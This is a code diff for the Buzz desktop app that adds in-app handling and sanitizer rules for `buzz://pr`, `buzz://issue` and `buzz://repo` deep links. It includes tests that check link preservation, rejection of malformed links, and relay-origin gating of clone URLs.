-// end-to-end. We pass a custom `urlTransform` that delegates to the
-// default for `buzz://message` and legacy `buzz://message` hrefs.
+// which would break copy → paste → click for `buzz://message?…` links and
+// `buzz://pr|issue|repo?…` entity links end-to-end. We pass a custom
+// `urlTransform` (`buzzDeepLinkUrlTransform`) that preserves valid Buzz
+// deep links and delegates everything else to `defaultUrlTransform`.
 //
 // This test renders real `<ReactMarkdown>` with the production transform
 // and asserts the link href survives to the rendered DOM. Mirrors the
@@ -534,12 +535,18 @@ import { renderToStaticMarkup } from "react-dom/server";
 import ReactMarkdown, { defaultUrlTransform } from "react-markdown";
 
 import { isMessageLink } from "../../features/messages/lib/messageLink.ts";
+import { parseEntityLink } from "../lib/entityLink.ts";
 import remarkSpoilers from "../lib/remarkSpoilers.ts";
 
-function messageLinkUrlTransform(value, key) {
-  if (key === "href" && isMessageLink(value)) {
-    return value;
-  }
+const OWNER_HEX =
+  "71d67180ba17e749ee825fc8819c9c6ee7003617e1c126504f9b658070ab9224";
+const EVENT_HEX =
+  "c3b589fa5713ba25bad6dc095e2de00a4ac8f50050fdea00fc6444e603be1dd1";
+
+function buzzDeepLinkUrlTransform(value, key) {
+  if (key !== "href") return defaultUrlTransform(value);
+  if (isMessageLink(value)) return value;
+  if (parseEntityLink(value).ok) return value;
   return defaultUrlTransform(value);
 }
 
@@ -547,7 +554,7 @@ function renderMarkdown(content) {
   return renderToStaticMarkup(
     React.createElement(
       ReactMarkdown,
-      { urlTransform: messageLinkUrlTransform },
+      { urlTransform: buzzDeepLinkUrlTransform },
       content,
     ),
   );
@@ -592,7 +599,7 @@ test("messageLinkUrlTransform: preserves legacy buzz://message href", () => {
   assert.match(html, /href="buzz:\/\/message\?channel=abc&(?:amp;)?id=xyz"/);
 });
 
-test("messageLinkUrlTransform: leaves non-message buzz:// schemes to default", () => {
+test("messageLinkUrlTransform: leaves non-entity buzz:// schemes to default", () => {
   // `buzz://connect?relay=…` is handled by a different code path (Tauri
   // single-instance). The markdown renderer should let it pass through
   // defaultUrlTransform (which strips it) since it's not clickable in-app.
@@ -602,6 +609,127 @@ test("messageLinkUrlTransform: leaves non-message buzz:// schemes to default", (
   assert.match(html, /href=""/);
 });
 
+test("buzzDeepLinkUrlTransform: preserves buzz://pr entity link href", () => {
+  const prLink = `buzz://pr?id=${EVENT_HEX}&owner=${OWNER_HEX}&d=buzz-world`;
+  const html = renderMarkdown(`[My PR](${prLink})`);
+  // The href must survive — our transform preserves valid entity links.
+  assert.match(html, /href="buzz:\/\/pr\?/);
+  assert.doesNotMatch(html, /href=""/);
+});
+
+test("buzzDeepLinkUrlTransform: preserves buzz://pr autolink href", () => {
+  const prLink = `buzz://pr?id=${EVENT_HEX}&owner=${OWNER_HEX}&d=buzz-world`;
+  const html = renderMarkdown(`<${prLink}>`);
+  assert.match(html, /href="buzz:\/\/pr\?/);
+  assert.doesNotMatch(html, /href=""/);
+});
+
+test("buzzDeepLinkUrlTransform: preserves buzz://issue entity link href", () => {
+  const issueLink = `buzz://issue?id=${EVENT_HEX}&owner=${OWNER_HEX}&d=buzz-world`;
+  const html = renderMarkdown(`[Issue title](${issueLink})`);
+  assert.match(html, /href="buzz:\/\/issue\?/);
+  assert.doesNotMatch(html, /href=""/);
+});
+
+test("buzzDeepLinkUrlTransform: preserves buzz://repo entity link href", () => {
+  const repoLink = `buzz://repo?owner=${OWNER_HEX}&d=buzz-world`;
+  const html = renderMarkdown(`[My repo](${repoLink})`);
+  assert.match(html, /href="buzz:\/\/repo\?/);
+  assert.doesNotMatch(html, /href=""/);
+});
+
+test("buzzDeepLinkUrlTransform: strips malformed buzz://pr (unknown param)", () => {
+  // Strict parser rejects unknown params — transform falls back to default sanitizer.
+  const html = renderMarkdown(
+    `[link](buzz://pr?id=${EVENT_HEX}&owner=${OWNER_HEX}&d=buzz-world&extra=ignored)`,
+  );
+  assert.match(html, /href=""/);
+});
+
+// ── renderEntityLinkAnchor: clone-URL anchor origin gating ───────────────────
+//
+// `renderEntityLinkAnchor` now accepts `relayOrigin` and passes it to
+// `parseSupportedLinkPreview`. A clone URL is only treated as an in-app entity
+// link when the URL origin exactly matches the active relay origin. This covers
+// the inline anchor click path (not just card extraction).
+
+import { renderEntityLinkAnchor } from "../ui/markdown/entityLinks.tsx";
+
+const CLONE_URL = `https://relay.example/git/${OWNER_HEX}/my-repo`;
+
+test("renderEntityLinkAnchor_matchingOriginCloneUrl_returnsEntityAnchor", () => {
+  // Origin matches active relay — anchor should navigate in-app (non-null).
+  const el = renderEntityLinkAnchor({
+    anchorProps: {},
+    children: React.createElement("span", null, "my-repo"),
+    href: CLONE_URL,
+    onOpenEntityLink: () => {},
+    relayOrigin: "https://relay.example",
+  });
+  assert.notEqual(
+    el,
+    null,
+    "matching-origin clone URL must produce an entity anchor",
+  );
+  const html = renderToStaticMarkup(el);
+  // The entity anchor must be rendered — it carries the original href (for display)
+  // and navigates in-app via onClick. Verify the anchor is present with the cursor style.
+  assert.match(
+    html,
+    /cursor-pointer/,
+    "entity anchor must have the in-app navigation cursor style",
+  );
+});
+
+test("renderEntityLinkAnchor_lookalikeDomainCloneUrl_returnsNull", () => {
+  // Origin does NOT match active relay — must fall through to ExternalLinkAnchor.
+  const el = renderEntityLinkAnchor({
+    anchorProps: {},
+    children: React.createElement("span", null, "my-repo"),
+    href: CLONE_URL,
+    onOpenEntityLink: () => {},
+    relayOrigin: "https://evil.example",
+  });
+  assert.equal(
+    el,
+    null,
+    "lookalike-origin clone URL must return null so the anchor falls through to external",
+  );
+});
+
+test("renderEntityLinkAnchor_noRelayOrigin_cloneUrlReturnsNull", () => {
+  // No known relay origin — must fail closed, not guess.
+  const el = renderEntityLinkAnchor({
+    anchorProps: {},
+    children: React.createElement("span", null, "my-repo"),
+    href: CLONE_URL,
+    onOpenEntityLink: () => {},
+    relayOrigin: null,
+  });
+  assert.equal(
+    el,
+    null,
+    "clone URL without a relay origin must return null (fail closed)",
+  );
+});
+
+test("renderEntityLinkAnchor_directEntityLink_returnsAnchorRegardlessOfOrigin", () => {
+  // A direct buzz://pr link always resolves in-app — it does not require origin.
+  const prLink = `buzz://pr?id=${EVENT_HEX}&owner=${OWNER_HEX}&d=buzz-world`;
+  const el = renderEntityLinkAnchor({
+    anchorProps: {},
+    children: React.createElement("span", null, "My PR"),
+    href: prLink,
+    onOpenEntityLink: () => {},
+    relayOrigin: null,
+  });
+  assert.notEqual(
+    el,
+    null,
+    "direct buzz://pr link must produce an entity anchor regardless of origin",
+  );
+});
+
 test("remarkSpoilers: block delimiter spoilers expose a block prop to React", () => {
   let spoilerProps;
   renderToStaticMarkup(
diff --git a/desktop/src/shared/ui/markdown.tsx b/desktop/src/shared/ui/markdown.tsx
index b1f9623f3e..414b44a966 100644
--- a/desktop/src/shared/ui/markdown.tsx
+++ b/desktop/src/shared/ui/markdown.tsx
@@ -9,7 +9,6 @@ import {
   ZoomOut,
 } from "lucide-react";
 import { AnimatePresence, motion, useReducedMotion } from "motion/react";
-import { openUrl } from "@tauri-apps/plugin-opener";
 import { toast } from "sonner";
 
 import { useAppNavigation } from "@/app/navigation/useAppNavigation";
@@ -23,13 +22,13 @@ import { UserProfilePopover } from "@/features/profile/ui/UserProfilePopover";
 import { invokeTauri } from "@/shared/api/tauri";
 import { useChannelNavigation } from "@/shared/context/ChannelNavigationContext";
 import { cn } from "@/shared/lib/cn";
-import { copyTextToClipboard } from "@/shared/lib/clipboard";
 import {
   extractSupportedLinkPreviews,
   parseSupportedLinkPreview,
 } from "@/shared/lib/linkPreview";
 import { useResolvedLinkPreviews } from "@/shared/lib/useResolvedLinkPreviews";
 import { rewriteRelayUrl } from "@/shared/lib/mediaUrl";
+import { useRelayOrigin } from "@/shared/lib/useRelayOrigin";
 import { AttachmentGroup } from "@/shared/ui/attachment";
 import { ConfigNudgeCard } from "@/shared/ui/config-nudge-attachment";
 import { LinkPreviewAttachment } from "@/shared/ui/link-preview-attachment";
@@ -59,6 +58,12 @@ import {
   MarkdownCodeBlock,
   SyntaxHighlightedCode,
 } from "./markdown/CodeBlock";
+import {
+  renderEntityLinkAnchor,
+  useEntityCardOpenHandlers,
+  useOpenEntityLink,
+} from "./markdown/entityLinks";
+import { ExternalLinkAnchor } from "./markdown/ExternalLinkAnchor";
 import { FileCard } from "./markdown/FileCard";
 import { InlineEmojiPopover } from "./markdown/InlineEmojiPopover";
 import { MarkdownInput } from "./markdown/MarkdownInput";
@@ -108,7 +113,6 @@ import {
   visibleImageGalleryForTrigger,
 } from "./markdown/imageLightbox";
 import { MarkdownTable } from "./markdown/MarkdownTable";
-import { MaskedLinkTooltip } from "./markdown/MaskedLinkTooltip";
 import { ProgressiveImage } from "./markdown/ProgressiveImage";
 import { MessageLinkPill } from "./markdown/MessageLinkPill";
 import { renderCachedMarkdown } from "./markdown/nodeCache";
@@ -1272,85 +1276,6 @@ function ImageMosaic({ children }: { children: React.ReactNode[] }) {
   );
 }
 
-/**
- * An external `[text](href)` link with a custom right-click menu.
- *
- * Buzz renders inside a native webview whose default context menu has no
- * useful link actions, so a plain right-click on a link is a no-op. This adds
- * an in-app menu with "Open link" (via the OS opener, matching the anchor's
- * left-click `target="_blank"` behavior) and "Copy link" (the real href, not
- * the masked display text).
- */
-function ExternalLinkAnchor({
-  anchorProps,
-  children,
-  href,
-  isLinearLink,
-  label,
-}: {
-  anchorProps: React.ComponentPropsWithoutRef<"a">;
-  children: React.ReactNode;
-  href: string | undefined;
-  isLinearLink: boolean;
-  label: string;
-}) {
-  const [menu, setMenu] = React.useState<MediaContextMenuPosition | null>(null);
-  const closeMenu = React.useCallback(() => setMenu(null), []);
-  useDismissMediaContextMenu(Boolean(menu), closeMenu);
-
-  const anchor = (
-    <a
-      {...anchorProps}
-      className={cn(
-        "font-medium underline underline-offset-4 transition-colors",
-        isLinearLink ? "linear-link" : "text-primary hover:text-primary/80",
-      )}
-      href={href}
-      onContextMenuCapture={(event) => {
-        if (!href) return;
-        event.preventDefault();
-        setMenu({ x: event.clientX, y: event.clientY });
-      }}
-      rel="noreferrer"
-      target="_blank"
-    >
-      {children}
-    </a>
-  );
-
-  return (
-    <>
-      <MaskedLinkTooltip disabled={isLinearLink} href={href} label={label}>
-        {anchor}
-      </MaskedLinkTooltip>
-      {menu && href ? (
-        <MediaContextMenu
-          dataAttributes={["data-link-context-menu"]}
-          items={[
-            {
-              label: "Open link",
-              onSelect: () => {
-                closeMenu();
-                void openUrl(href).catch(() => {
-                  toast.error("Failed to open link");
-                });
-              },
-            },
-            {
-              label: "Copy link",
-              onSelect: () => {
-                closeMenu();
-                copyTextToClipboard(href, "Link copied to clipboard");
-              },
-            },
-          ]}
-          position={menu}
-        />
-      ) : null}
-    </>
-  );
-}
-
 function createMarkdownComponents(
   interactive = true,
   mediaInset = false,
@@ -1366,8 +1291,10 @@ function createMarkdownComponents(
     const {
       channels,
       imetaByUrl,
+      onOpenEntityLink,
       onOpenMessageLink,
       onImportSnapshotFromUrl,
+      relayOrigin,
       snapshotSharedBy,
     } = useMarkdownRuntime();
     if (!interactive) {
@@ -1465,7 +1392,20 @@ function createMarkdownComponents(
       // anchor (renders as a normal external link).
     }
 
-    const supportedLinkPreview = href ? parseSupportedLinkPreview(href) : null;
+    // `buzz://pr|issue|repo?…` entity links navigate in-app; malformed ones
+    // fall through to the default anchor.
+    const entityAnchor = renderEntityLinkAnchor({
+      anchorProps: props,
+      children,
+      href,
+      onOpenEntityLink,
+      relayOrigin,
+    });
+    if (entityAnchor) return entityAnchor;
+
+    const supportedLinkPreview = href
+      ? parseSupportedLinkPreview(href, relayOrigin)
+      : null;
     const isLinearLink = supportedLinkPreview?.kind === "linear-issue";
 
     return (
@@ -1799,7 +1739,7 @@ function createMarkdownComponents(
  * four instances ever exist. Module-stable maps mean cached markdown element
  * trees (see ./markdown/nodeCache.ts) never embed per-mount closures.
  */
-const MARKDOWN_COMPONENT_SCHEMA_VERSION = "4";
+const MARKDOWN_COMPONENT_SCHEMA_VERSION = "5";
 const markdownComponentsByVariant = new Map<string, MarkdownComponentSet>();
 
 type MarkdownComponentSet = { components: Components; variant: string };
@@ -1852,6 +1792,7 @@ function MarkdownInner({
     },
     [goChannel],
   );
+  const onOpenEntityLink = useOpenEntityLink();
   const onOpenMessageLink = React.useCallback(
     (link: ParsedMessageLink) => {
       // Always route through `goChannel` with `messageId` set: the channel
@@ -1868,9 +1809,11 @@ function MarkdownInner({
     },
     [goChannel],
   );
+  const relayOrigin = useRelayOrigin();
   const linkPreviews = React.useMemo(
-    () => (interactive ? extractSupportedLinkPreviews(content) : []),
-    [content, interactive],
+    () =>
+      interactive ? extractSupportedLinkPreviews(content, relayOrigin) : [],
+    [content, interactive, relayOrigin],
   );
   const configNudge = React.useMemo(
     () => computeConfigNudge(content, interactive, configNudgeAuthorPubkey),
@@ -1883,7 +1826,9 @@ function MarkdownInner({
       imetaByUrl,
       mentionPubkeysByName,
       onOpenChannel,
+      onOpenEntityLink,
       onOpenMessageLink,
+      relayOrigin,
       snapshotSharedBy,
       onImportSnapshotFromUrl: (
         fileBytes: number[],
@@ -1900,7 +1845,9 @@ function MarkdownInner({
       imetaByUrl,
       mentionPubkeysByName,
       onOpenChannel,
+      onOpenEntityLink,
       onOpenMessageLink,
+      relayOrigin,
       snapshotSharedBy,
       goAgents,
     ],
@@ -1922,6 +1869,10 @@ function MarkdownInner({
   }
 
   const resolvedLinkPreviews = useResolvedLinkPreviews(linkPreviews);
+  const entityCardOpenHandlers = useEntityCardOpenHandlers(
+    resolvedLinkPreviews,
+    onOpenEntityLink,
+  );
 
   // When a config-nudge suppresses the prose (selectProseOrNudge returns
   // null), skip the parse entirely — it would be thrown away unrendered.
@@ -1977,7 +1928,11 @@ function MarkdownInner({
               data-link-preview-list=""
             >
               {resolvedLinkPreviews.map((preview) => (
-                <LinkPreviewAttachment key={preview.href} preview={preview} />
+                <LinkPreviewAttachment
+                  key={preview.href}
+                  onOpen={entityCardOpenHandlers.get(preview.href)}
+                  preview={preview}
+                />
               ))}
             </AttachmentGroup>
           ) : null}
diff --git a/desktop/src/shared/ui/markdown/ExternalLinkAnchor.tsx b/desktop/src/shared/ui/markdown/ExternalLinkAnchor.tsx
new file mode 100644
index 0000000000..00f19fb8de
--- /dev/null
+++ b/desktop/src/shared/ui/markdown/ExternalLinkAnchor.tsx
@@ -0,0 +1,92 @@
+import * as React from "react";
+import { openUrl } from "@tauri-apps/plugin-opener";
+import { toast } from "sonner";
+
+import { cn } from "@/shared/lib/cn";
+import { copyTextToClipboard } from "@/shared/lib/clipboard";
+
+import { MaskedLinkTooltip } from "./MaskedLinkTooltip";
+import {
+  MediaContextMenu,
+  type MediaContextMenuPosition,
+  useDismissMediaContextMenu,
+} from "./MediaContextMenu";
+
+/**
+ * An external `[text](href)` link with a custom right-click menu.
+ *
+ * Buzz renders inside a native webview whose default context menu has no
+ * useful link actions, so a plain right-click on a link is a no-op. This adds
+ * an in-app menu with "Open link" (via the OS opener, matching the anchor's
+ * left-click `target="_blank"` behavior) and "Copy link" (the real href, not
+ * the masked display text).
+ */
+export function ExternalLinkAnchor({
+  anchorProps,
+  children,
+  href,
+  isLinearLink,
+  label,
+}: {
+  anchorProps: React.ComponentPropsWithoutRef<"a">;
+  children: React.ReactNode;
+  href: string | undefined;
+  isLinearLink: boolean;
+  label: string;
+}) {
+  const [menu, setMenu] = React.useState<MediaContextMenuPosition | null>(null);
+  const closeMenu = React.useCallback(() => setMenu(null), []);
+  useDismissMediaContextMenu(Boolean(menu), closeMenu);
+
+  const anchor = (
+    <a
+      {...anchorProps}
+      className={cn(
+        "font-medium underline underline-offset-4 transition-colors",
+        isLinearLink ? "linear-link" : "text-primary hover:text-primary/80",
+      )}
+      href={href}
+      onContextMenuCapture={(event) => {
+        if (!href) return;
+        event.preventDefault();
+        setMenu({ x: event.clientX, y: event.clientY });
+      }}
+      rel="noreferrer"
+      target="_blank"
+    >
+      {children}
+    </a>
+  );
+
+  return (
+    <>
+      <MaskedLinkTooltip disabled={isLinearLink} href={href} label={label}>
+        {anchor}
+      </MaskedLinkTooltip>
+      {menu && href ? (
+        <MediaContextMenu
+          dataAttributes={["data-link-context-menu"]}
+          items={[
+            {
+              label: "Open link",
+              onSelect: () => {
+                closeMenu();
+                void openUrl(href).catch(() => {
+                  toast.error("Failed to open link");
+                });
+              },
+            },
+            {
+              label: "Copy link",
+              onSelect: () => {
+                closeMenu();
+                copyTextToClipboard(href, "Link copied to clipboard");
+              },
+            },
+          ]}
+          position={menu}
+        />
+      ) : null}
+    </>
+  );
+}
diff --git a/desktop/src/shared/ui/markdown/entityLinks.tsx b/desktop/src/shared/ui/markdown/entityLinks.tsx
new file mode 100644
index 0000000000..b215110b86
--- /dev/null
+++ b/desktop/src/shared/ui/markdown/entityLinks.tsx
@@ -0,0 +1,112 @@
+import * as React from "react";
+
+import { useAppNavigation } from "@/app/navigation/useAppNavigation";
+import {
+  entityLinkProjectRouteId,
+  isEntityLink,
+  parseEntityLink,
+  type ParsedEntityLink,
+} from "@/shared/lib/entityLink";
+import {
+  parseSupportedLinkPreview,
+  type SupportedLinkPreview,
+} from "@/shared/lib/linkPreview";
+
+/**
+ * Navigate to the project detail view for a `buzz://pr|issue|repo` link.
+ * The link's (owner, d) coordinate is exactly the `/projects/$projectId`
+ * route id, so no read-model resolution is needed.
+ */
+export function useOpenEntityLink(): (link: ParsedEntityLink) => void {
+  const { goProject } = useAppNavigation();
+  return React.useCallback(
+    (link: ParsedEntityLink) => {
+      void goProject(entityLinkProjectRouteId(link), {
+        ...(link.type === "pr" ? { pullRequestId: link.id } : {}),
+        ...(link.type === "issue" ? { issueId: link.id } : {}),
+      });
+    },
+    [goProject],
+  );
+}
+
+/**
+ * In-app open handlers for `buzz://` entity preview cards, keyed by href.
+ * External cards get no handler and keep their OS-opened anchor.
+ */
+export function useEntityCardOpenHandlers(
+  previews: SupportedLinkPreview[],
+  onOpenEntityLink: (link: ParsedEntityLink) => void,
+): Map<string, () => void> {
+  return React.useMemo(() => {
+    const handlers = new Map<string, () => void>();
+    for (const preview of previews) {
+      if (!isEntityLink(preview.href)) continue;
+      const parsed = parseEntityLink(preview.href);
+      if (parsed.ok) {
+        handlers.set(preview.href, () => onOpenEntityLink(parsed.value));
+      }
+    }
+    return handlers;
+  }, [onOpenEntityLink, previews]);
+}
+
+/**
+ * Resolve an anchor href to a canonical `buzz://` entity link, accepting
+ * both the deep-link scheme directly and HTTPS relay clone URLs (which the
+ * preview parser normalizes onto `buzz://repo` only when the URL origin
+ * matches the active relay origin).
+ */
+function resolveEntityHref(
+  href: string,
+  relayOrigin: string | null,
+): string | null {
+  if (isEntityLink(href)) return href;
+  if (!/^https?:\/\//i.test(href)) return null;
+
+  const preview = parseSupportedLinkPreview(href, relayOrigin);
+  return preview && isEntityLink(preview.href) ? preview.href : null;
+}
+
+/**
+ * Render an inline anchor for a Buzz entity link (`buzz://pr|issue|repo` or
+ * an HTTPS relay clone URL whose origin matches the active relay) that
+ * navigates in-app instead of handing the URL to the OS. Returns null when
+ * the href is not a valid entity link so the caller can fall through to its
+ * default anchor.
+ */
+export function renderEntityLinkAnchor({
+  anchorProps,
+  children,
+  href,
+  onOpenEntityLink,
+  relayOrigin,
+}: {
+  anchorProps: React.ComponentPropsWithoutRef<"a">;
+  children: React.ReactNode;
+  href: string | undefined;
+  onOpenEntityLink: (link: ParsedEntityLink) => void;
+  relayOrigin: string | null;
+}): React.ReactElement | null {
+  if (!href) return null;
+
+  const canonicalHref = resolveEntityHref(href, relayOrigin);
+  if (!canonicalHref) return null;
+
+  const parsed = parseEntityLink(canonicalHref);
+  if (!parsed.ok) return null;
+
+  return (
+    <a
+      {...anchorProps}
+      className="font-medium text-primary underline underline-offset-4 transition-colors hover:text-primary/80 cursor-pointer"
+      href={href}
+      onClick={(event) => {
+        event.preventDefault();
+        onOpenEntityLink(parsed.value);
+      }}
+    >
+      {children}
+    </a>
+  );
+}
diff --git a/desktop/src/shared/ui/markdown/nodeCache.ts b/desktop/src/shared/ui/markdown/nodeCache.ts
index 97cbe212d3..5853f8943e 100644
--- a/desktop/src/shared/ui/markdown/nodeCache.ts
+++ b/desktop/src/shared/ui/markdown/nodeCache.ts
@@ -13,7 +13,7 @@ import remarkCustomEmoji, {
 import remarkMentions from "@/shared/lib/remarkMentions";
 import remarkSpoilers from "@/shared/lib/remarkSpoilers";
 
-import { messageLinkUrlTransform } from "./utils";
+import { buzzDeepLinkUrlTransform } from "./utils";
 
 /**
  * Parsed-markdown element cache.
@@ -105,7 +105,7 @@ function buildMarkdownElement(input: MarkdownParseInputs): React.ReactElement {
       // biome-ignore lint/suspicious/noExplicitAny: PluggableList type not directly importable
     ] as any[],
     rehypePlugins,
-    urlTransform: messageLinkUrlTransform,
+    urlTransform: buzzDeepLinkUrlTransform,
   });
 }
 
diff --git a/desktop/src/shared/ui/markdown/runtimeContext.ts b/desktop/src/shared/ui/markdown/runtimeContext.ts
index a067125a39..2a1d914ce5 100644
--- a/desktop/src/shared/ui/markdown/runtimeContext.ts
+++ b/desktop/src/shared/ui/markdown/runtimeContext.ts
@@ -15,7 +15,9 @@ import type { MarkdownRuntime } from "./types";
 const INERT_MARKDOWN_RUNTIME: MarkdownRuntime = {
   channels: [],
   onOpenChannel: () => {},
+  onOpenEntityLink: () => {},
   onOpenMessageLink: () => {},
+  relayOrigin: null,
 };
 
 export const MarkdownRuntimeContext = React.createContext<MarkdownRuntime>(
diff --git a/desktop/src/shared/ui/markdown/types.ts b/desktop/src/shared/ui/markdown/types.ts
index 63551024d2..f736922f93 100644
--- a/desktop/src/shared/ui/markdown/types.ts
+++ b/desktop/src/shared/ui/markdown/types.ts
@@ -1,4 +1,5 @@
 import type { ParsedMessageLink } from "@/features/messages/lib/messageLink";
+import type { ParsedEntityLink } from "@/shared/lib/entityLink";
 import type { Channel } from "@/shared/api/types";
 import type { CustomEmoji } from "@/shared/lib/remarkCustomEmoji";
 import type { VideoReviewContext } from "../VideoPlayer";
@@ -31,7 +32,15 @@ export type MarkdownRuntime = {
   imetaByUrl?: ImetaLookup;
   mentionPubkeysByName?: Record<string, string>;
   onOpenChannel: (channelId: string) => void;
+  /** Navigate to a Buzz git entity (`buzz://pr|issue|repo` deep link). */
+  onOpenEntityLink: (link: ParsedEntityLink) => void;
   onOpenMessageLink: (link: ParsedMessageLink) => void;
+  /**
+   * The resolved relay origin (e.g. `https://buzz.block.builderlab.xyz`),
+   * or `null` when not yet resolved. Used by the anchor component to
+   * validate that clone-URL rewrites point to the active relay only.
+   */
+  relayOrigin: string | null;
   /** Display name of the message author sharing an agent snapshot. */
   snapshotSharedBy?: string;
   /**
diff --git a/desktop/src/shared/ui/markdown/utils.ts b/desktop/src/shared/ui/markdown/utils.ts
index db9629921e..a35e60cadc 100644
--- a/desktop/src/shared/ui/markdown/utils.ts
+++ b/desktop/src/shared/ui/markdown/utils.ts
@@ -2,6 +2,7 @@ import * as React from "react";
 import { defaultUrlTransform } from "react-markdown";
 
 import { isMessageLink } from "@/features/messages/lib/messageLink";
+import { parseEntityLink } from "@/shared/lib/entityLink";
 
 export function useStableArray<T>(arr: T[]): T[] {
   const ref = React.useRef(arr);
@@ -166,18 +167,34 @@ export function isInsideHiddenSpoiler(element: Element): boolean {
 }
 
 /**
- * `urlTransform` for `<ReactMarkdown>` that preserves `buzz://message?…`
- * links. The default transform strips unknown schemes (returns `""`) before
- * the `a` component override can see them, which would break copy → paste →
- * click end-to-end. Everything else delegates to `defaultUrlTransform`.
+ * `urlTransform` for `<ReactMarkdown>` that preserves `buzz://` deep links
+ * used by Buzz — both `buzz://message?…` links and `buzz://pr|issue|repo?…`
+ * entity links. The default transform strips unknown schemes (returns `""`)
+ * before the `a` component override can see them, which would break copy →
+ * paste → click end-to-end.
+ *
+ * Policy:
+ * - `buzz://message` hrefs — preserved unconditionally (handled by the
+ *   message-link pill renderer).
+ * - `buzz://pr|issue|repo` hrefs — preserved only when `parseEntityLink`
+ *   succeeds, keeping the sanitizer active against arbitrary `buzz://` URIs.
+ * - Everything else delegates to `defaultUrlTransform`.
  */
-export function messageLinkUrlTransform(value: string, key: string): string {
-  if (key === "href" && isMessageLink(value)) {
-    return value;
-  }
+export function buzzDeepLinkUrlTransform(value: string, key: string): string {
+  if (key !== "href") return defaultUrlTransform(value);
+  if (isMessageLink(value)) return value;
+  if (parseEntityLink(value).ok) return value;
   return defaultUrlTransform(value);
 }
 
+/**
+ * @deprecated Preserved for external callers; use `buzzDeepLinkUrlTransform`
+ * which also handles `buzz://pr|issue|repo` entity links.
+ */
+export function messageLinkUrlTransform(value: string, key: string): string {
+  return buzzDeepLinkUrlTransform(value, key);
+}
+
 export function getReactNodeText(node: React.ReactNode): string {
   if (typeof node === "string" || typeof node === "number") {
     return String(node);
diff --git a/desktop/src/shared/useMessageDeepLinks.ts b/desktop/src/shared/useMessageDeepLinks.ts
index ce7422ec77..d4478a4422 100644
--- a/desktop/src/shared/useMessageDeepLinks.ts
+++ b/desktop/src/shared/useMessageDeepLinks.ts
@@ -17,10 +17,12 @@ import { listenForMessageDeepLinks } from "@/shared/deep-link";
  * the channel route's existing scroll-into-view + getEventById backfill
  * resolve the target (works for both stream replies and forum threads).
  */
-export function useMessageDeepLinks() {
+export function useMessageDeepLinks(enabled = true) {
   const { goChannel } = useAppNavigation();
 
   React.useEffect(() => {
+    if (!enabled) return;
+
     let cancelled = false;
     const unlistenPromise = listenForMessageDeepLinks((payload) => {
       if (cancelled) return;
@@ -33,5 +35,5 @@ export function useMessageDeepLinks() {
       cancelled = true;
       void unlistenPromise.then((fn) => fn());
     };
-  }, [goChannel]);
+  }, [enabled, goChannel]);
 }
diff --git a/desktop/src/testing/e2eBridge.ts b/desktop/src/testing/e2eBridge.ts
index dcad430bbf..54238323ae 100644
--- a/desktop/src/testing/e2eBridge.ts
+++ b/desktop/src/testing/e2eBridge.ts
@@ -12,6 +12,7 @@ import {
 
 import { relayClient } from "@/shared/api/relayClient";
 import { activateRateLimit } from "@/shared/api/relayRateLimitGate";
+import { resolveAgentParallelism } from "@/features/agents/lib/agentParallelism";
 import type { ConnectionState } from "@/shared/api/relayClientShared";
 import type { ChannelTemplate, RelayEvent } from "@/shared/api/types";
 import { getMarkdownParseCount } from "@/shared/ui/markdown/nodeCache";
@@ -43,6 +44,7 @@ import {
   KIND_MEMBER_ADDED_NOTIFICATION,
   KIND_MEMBER_REMOVED_NOTIFICATION,
   KIND_PERSONA,
+  KIND_PROJECT_ANNOUNCEMENT,
   KIND_REPO_ANNOUNCEMENT,
   KIND_REPO_STATE,
   KIND_STREAM_MESSAGE_EDIT,
@@ -73,7 +75,7 @@ type MockCommandAvailability = {
   resolvedPath?: string | null;
 };
 
-type MockManagedAgentSeed = {
+export type MockManagedAgentSeed = {
   pubkey: string;
   name: string;
   avatarUrl?: string | null;
@@ -87,9 +89,12 @@ type MockManagedAgentSeed = {
   lastError?: string | null;
   lastErrorCode?: number | null;
   needsRestart?: boolean;
+  restartDiff?: Array<{ field: string; change: unknown }>;
   autoRestartOnConfigChange?: boolean;
   respondTo?: RawManagedAgent["respond_to"];
   respondToAllowlist?: string[];
+  /** Per-agent env vars seeded into the mock store. */
+  envVars?: Record<string, string>;
 };
 
 type MockManagedAgentRuntimeSeed = {
@@ -153,14 +158,26 @@ type MockHuddleMemberSeed = {
 type MockHuddleSeed = {
   parentChannelId: string;
   ephemeralChannelId: string;
+  huddleThreadEventId?: string | null;
+  phase?: "creating" | "connected" | "active";
   members: MockHuddleMemberSeed[];
   transcriptionEnabled?: boolean;
+  ttsEnabled?: boolean;
   isCreator?: boolean;
 };
 
 type E2eConfig = {
   mode?: "mock" | "relay";
   mock?: {
+    /** Tauri window label exposed to the app. Defaults to the main window. */
+    windowLabel?: string;
+    ttsSettings?: {
+      version: number;
+      agentTextToSpeech: boolean;
+      voicePreferences: string[];
+    };
+    /** Native picker boundary result for Pocket voice import tests. */
+    pocketVoiceImportResult?: "success" | "cancel" | "invalid";
     /** Advertised HEAD for the first mock project without adding that branch. */
     projectHeadBranch?: string;
     /** Builderlab account returned by hosted-community onboarding. Null/omitted = signed out. */
@@ -206,6 +223,8 @@ type E2eConfig = {
     /** Catalog responses for successive discovery calls. The final response repeats. */
     acpRuntimesCatalogSequence?: RawAcpRuntimeCatalogEntry[][];
     acpRuntimesDelayMs?: number;
+    /** When true, the catalog discovery call throws — simulates a failed query. */
+    acpRuntimesError?: boolean;
     acpAuthMethods?: Record<string, RawAcpAuthMethodsResult>;
     acpAuthMethodsErrors?: Record<string, string>;
     acpAuthMethodsError?: string;
@@ -248,8 +267,14 @@ type E2eConfig = {
       parent_added: boolean;
       parent_error: string | null;
     };
+    /** When set, the mocked `add_agent_to_huddle` command throws. */
+    addAgentToHuddleError?: string;
     /** Delay an invocation-time huddle snapshot to exercise hydration ordering. */
     huddleStateReadDelayMs?: number;
+    /** Delay companion creation to expose the newly-started huddle handoff state. */
+    openHuddleWindowDelayMs?: number;
+    /** Delay the native start result after membership arrives in the channel list. */
+    startHuddleReturnDelayMs?: number;
     /** Per agent+relay runtime rows for the pair-scoped lifecycle commands
      *  (`list/start/stop/restart_managed_agent_runtime`). */
     managedAgentRuntimes?: MockManagedAgentRuntimeSeed[];
@@ -289,6 +314,8 @@ type E2eConfig = {
     applyCommunityDelayMs?: number;
     openDmDelayMs?: number;
     sendMessageDelayMs?: number;
+    /** Hold mock send live echoes until the E2E release seam is invoked. */
+    deferSendMessageLiveEcho?: boolean;
     /** Close the first channel-window live REQ; its retry is accepted. */
     closeChannelLiveSubscriptionOnce?: boolean;
     /** Reject successive kind-9 sends with these messages, then resume. */
